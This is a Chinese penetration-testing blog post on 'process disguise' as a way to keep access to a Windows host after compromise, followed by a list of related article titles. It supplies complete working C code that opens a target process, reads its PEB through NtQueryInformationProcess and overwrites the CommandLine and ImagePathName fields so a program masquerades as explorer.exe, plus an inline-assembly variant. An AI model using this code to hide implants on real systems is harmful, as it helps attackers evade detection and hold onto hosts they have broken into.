【渗透测试】初探进程伪装
前言
当我们获取到一台主机的权限过后,拿到了自己想要搜集的信息,这时候我们就会留一个后门进行权限维持,权限维持的学问其实很深,今天就主要介绍其中一种比较简单的权限维持的方法 – 进程伪装。
我们知道在windows里面有很多系统进程,如winlogon.exe、explorer.exe、services.exe等等,这些exe都是Windows必须具有的exe,当缺失某些exe的时候,windows就不能够正常运行,所以我们如果想到实现进程伪装,最好的选择就是伪装成系统必备的exe,当我们进行进程伪装之后,在系统中显示的就会是系统进程的信息,但这个程序还是能够执行它正常的功能,这样就达到了进程伪装、权限维持的作用。
思路
我们判断一个进程是否被劫持,一般是看他的进程名以及path,即启动路径来判断,那么反推即可得到,我们可以通过修改进程模块中的进程路径以及进程名来实现进程伪装的作用
比如我们这里再看看explorer的进程名和启动路径
那么这里我们改人如何获取进程的这些信息呢,这里可以使用到ntdll.dll里面的NtQueryInformationProcess来获取进程的PEB地址,这里稍微提一个概念,什么是PEB?
PEB,即Process Envirorment Block Structure,英文翻译过来就是进程环境信息块,这里包含了写进程的信息。它的完整结构如下:
typedef struct _PEB {BYTE Reserved1[2];BYTE BeingDebugged; //被调试状态BYTE Reserved2[1];PVOID Reserved3[2];PPEB_LDR_DATA Ldr;PRTL_USER_PROCESS_PARAMETERS ProcessParameters;BYTE Reserved4[104];PVOID Reserved5[52];PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;BYTE Reserved6[128];PVOID Reserved7[1];ULONG SessionId;
} PEB, *PPEB;
这里就不深究每个属性的含义了,这里拿到PEB结构之后我们就能够对进程的一些属性进行修改就能够实现进程伪装的效果,但是这里并不能够通过指针来直接速写内存数据,因为每个程序都有自己独立的空间,所以这里就需要用到ReadProcessMemory和WriteProcessMemory来读写进程
BOOL ReadProcessMemory([in] HANDLE hProcess,[in] LPCVOID lpBaseAddress,[out] LPVOID lpBuffer,[in] SIZE_T nSize,[out] SIZE_T *lpNumberOfBytesRead
);
BOOL WriteProcessMemory([in] HANDLE hProcess,[in] LPVOID lpBaseAddress,[in] LPCVOID lpBuffer,[in] SIZE_T nSize,[out] SIZE_T *lpNumberOfBytesWritten
);
实现过程
首先使用OpenProcess打开进程句柄
HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
然后从ntdll.dll中获取NtQueryInformationProcess的导出地址,因为这个函数没有关联导入库,所以只能动态获取地址
NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
我们获取到到处地址过后需要注意一下NtQueryInformationProcess结构里面的PROCESS_BASIC_INFORMATION这个值,首先看下结构
__kernel_entry NTSTATUS NtQueryInformationProcess([in] HANDLE ProcessHandle,[in] PROCESSINFOCLASS ProcessInformationClass,[out] PVOID ProcessInformation,[in] ULONG ProcessInformationLength,[out, optional] PULONG ReturnLength
);
其中第三个值PROCESS_BASIC_INFORMATION 指向调用应用程序提供的缓冲区的指针,函数将请求的信息写入该缓冲区。写入的信息大小取决于ProcessInformationClass参数的数据类型
当ProcessInformationClass 参数是ProcessBasicInformation,缓冲器指向的PROCESSINFORMATION参数应该足够大,以保持单个PROCESS_BASIC_INFORMATION具有下述布局结构:
typedef struct _PROCESS_BASIC_INFORMATION {PVOID Reserved1;PPEB PebBaseAddress;PVOID Reserved2[2];ULONG_PTR UniqueProcessId;PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
那么我们如何定位到PEB结构呢?
FS段寄存器指向当前的TEB结构,在TEB偏移0x30处是PEB指针,通过这个指针即可取得PEB的地址,可以通过汇编实现
__asm
{mov eax,fs:[0x30]
mov PEB,eax
}
这里我们要修改两个参数,一个是命令行参数,一个是path参数,这里用winDBG跟一下PEB的结构
首先是在0x20偏移的地方,有一个叫ProcessParameters的属性值,其结构体为_RTL_USER_PROCESS_PARAMETERS,继续往里面跟
在0x60偏移的地方,ImagePathName即为可执行文件的路径,结构体为_UNICODE_STRING,它的0x08偏移指向了一个Buffer,Buffer的内容为可执行文件路径的字符串。同理,0x70偏移则指向了 CommandLine为命令行参数
那么我们首先获取结构中的PebBaseAddress和ProcessPamameters
::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
修改命令行信息的话就是修改结构中的Buffer和Length字段,在CommandLine这个结构里面
CmdLen = 2 + 2 * ::wcslen(lpwszCmd);::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, CmdLen, NULL);::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &CmdLen, sizeof(CmdLen), NULL);
同理修改路径信息的话也是修改Buffer跟Length字段,这里的结构就是ImagePathName
PathLen = 2 + 2 * ::wcslen(lpwszPath);::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, PathLen, NULL);::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &PathLen, sizeof(PathLen), NULL);
那么到这里我们就已经修改了命令行跟路径的字段,完整代码如下
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd)
{// 打开进程获取句柄HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);if (NULL == hProcess){printf("[!] OpenProcess failed,error is : %d", GetLastError());return FALSE;}typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;PROCESS_BASIC_INFORMATION pbi = { 0 };PEB peb = { 0 };RTL_USER_PROCESS_PARAMETERS Param = { 0 };USHORT CmdLen = 0;USHORT PathLen = 0;// 需要通过 LoadLibrary、GetProcessAddress 从 ntdll.dll 中获取地址NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");if (NULL == NtQueryInformationProcess){printf("[!] NtQueryInformationProcess failed,error is : %d\n\n", GetLastError());return FALSE;}// 获取指定进程的基本信息NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);if (!NT_SUCCESS(status)){printf("[!] GetProcess information failed,error is : %d\n\n", GetLastError());return FALSE;}// 获取PebBaseAddress::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);// 获取ProcessParameters::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);// 修改命令行信息,即CommandLine结构里面的Buffer和Length字段CmdLen = 2 + 2 * ::wcslen(lpwszCmd);::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, CmdLen, NULL);::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &CmdLen, sizeof(CmdLen), NULL);// 修改路径信息,即ImagePathName结构里面的Buffer和Length字段PathLen = 2 + 2 * ::wcslen(lpwszPath);::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, PathLen, NULL);::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &PathLen, sizeof(PathLen), NULL);return TRUE;
}
这里也可以使用asm指向PEB结构进行数据的修改,其实跟上面的思路一样,也是指向Buffer跟Length字段进行修改,但是这里定位到PEB结构是使用指针的方式,实现的效果是相同的
BOOL DisguiseProcess(wchar_t *lpwszPath, wchar_t *lpwszCmd)
{// 打开进程获取句柄HANDLE hProcess = GetModuleHandle(NULL);PPEB peb = { 0 };USHORT usCmdLen = 0;USHORT usPathLen = 0;__asm{mov eax,fs:[30h]mov peb,eax}usCmdLen = 2 + 2 * wcslen(lpwszCmd);(*peb).ProcessParameters->CommandLine.Buffer = lpwszCmd;(*peb).ProcessParameters->CommandLine.Length = usCmdLen;usPathLen = 2 + 2 * wcslen(lpwszPath);(*peb).ProcessParameters->ImagePathName.Buffer = lpwszPath;(*peb).ProcessParameters->ImagePathName.Length = usPathLen;return TRUE;
}
实现效果
这里演示下第一个代码实现效果,选择的是有道云进行进程伪装成explorer,首先看一下explorer的详细信息
运行一下程序,已经看到修改成功
再去看一下有道云这边,可以看到已经实现了进程伪装
【渗透测试】初探进程伪装相关推荐
- 渗透测试原理与基本进程
渗透测试流程与方法 渗透测试简介: 渗透测试(penetrationtest)是模拟黑客攻击对业务系统进行安全性测试,比黑客更早发现可导致企业数据泄露.资产受损.数据被篡改等漏洞,并协助企业进行修复. ...
- (渗透测试后期)Linux进程隐藏详解
文章目录 (渗透测试后期)Linux进程隐藏详解 前言 Linux进程基础 Linux进程侦查手段 Linux进程隐藏手段 一.基于用户态的进程隐藏 方法1:小隐隐于/proc/pid--劫持read ...
- 内网渗透测试:域内权限维持思路总结
我的Freebuf:https://www.freebuf.com/author/MrAnonymous 我的博客:https://whoamianony.top/ 文章目录 Windows 操作系统 ...
- 网络安全之路:我的系统性渗透测试学习框架
没有兴趣,何来成就,难道就只是为了咕噜猫?hahaha(听不懂吧,没关系,只是因为加密了,你能从我的笔记中找到答案么嘿嘿嘿嘿!!!) 注意:以下内容仅记录本人当时学习时任然不知的相关知识.笔记草率,可 ...
- 渗透测试实战指南笔记
第二章 2.1 在Linux系统中安装LANMP LANMP是Linux下Apache.Nginx.MySQL和PHP的应用环境,本节演示的是WDLinux的一款集成的安装包. 首先,下载需要的安装包 ...
- 内网渗透测试:内网横向移动基础总结
内网渗透测试:内网横向移动基础总结 横向移动 在内网渗透中,当攻击者获取到内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大资产范围.通过此类手段 ...
- Web安全防攻(渗透测试)
第二章 2.1 在Linux系统中安装LANMP LANMP是Linux下Apache.Nginx.MySQL和PHP的应用环境,本节演示的是WDLinux的一款集成的安装包. 首先,下载需要的安装包 ...
- web安全攻防渗透测试笔记
第三章sqlmap (1) 安装sqlmap前,需要先安装Python3.X Python Releases for Windows | Python.org (2) 在环境变量p ...
- 渗透测试 ( 3 ) --- Metasploit Framework ( MSF )
白嫖 :https://zhuanlan.zhihu.com/p/449836479 :http://t.zoukankan.com/hxlinux-p-15787814.html :https:// ...
最新文章
- 如何安装OpenCV?如何安装cv2?如何更新numpy?
- Java: System.exit() 与安全策略
- 机器学习第6天:数据可视化神器--Matplotlib
- 【POJ - 3211】Washing Clothes (dp,0-1背包中点问题)
- C/C++:mongoose.c实现多表单域文件上传
- 关闭线程的的三种方法
- oracle表空间扩容方法
- 【零基础学Java】—继承的概述(十九)
- 万年历c语言程序设计免费,C语言程序设计万年历程序
- 航空插头的环境性能科普
- 中国为何与诺贝尔奖无缘?
- IDM+百度网盘提速下载复活版
- 【opencv学习笔记】2用摄像头识别指定颜色
- 2.2 法力池的创建和视觉特效———自制卡牌游戏之旅
- 计算机论文怎样投稿sci,计算机集成论文怎么投稿sci期刊
- 【Git】回退单个文件到指定版本
- VSCode中使用 eslint+prettier完成代码格式化以及自动化整理
- XenApp6.5产品BUG
- stm32f103系列开发板控制对数码管来显示自定义时间(自主学习)
- 【初阶与进阶C++详解】第十八篇:map_set(map_set使用+multiset_multimap使用+模拟map_set)
热门文章
- sklearn之pipeline:pipeline的简介、使用技巧、案例应用之详细攻略
- Py之Numpy:Numpy库中常用函数的简介、应用之详细攻略
- Dataset之HiggsBoson:Higgs Boson(Kaggle竞赛)数据集的简介、下载、案例应用之详细攻略
- ML之回归预测:利用八(9-1)种机器学习算法对无人驾驶汽车参数(2017年的data,18+2)进行回归预测值VS真实值
- Windows Phone 7.1 Sensor プログラミング基礎
- Leetcode 436.寻找右区间
- Spring Boot详细学习地址转载
- 子串字谜substring anagrams
- XSD详解二 - 简易元素、属性、内容限定
- # 20155337 2017-2018-1 《信息安全系统设计基础》第一周学习总结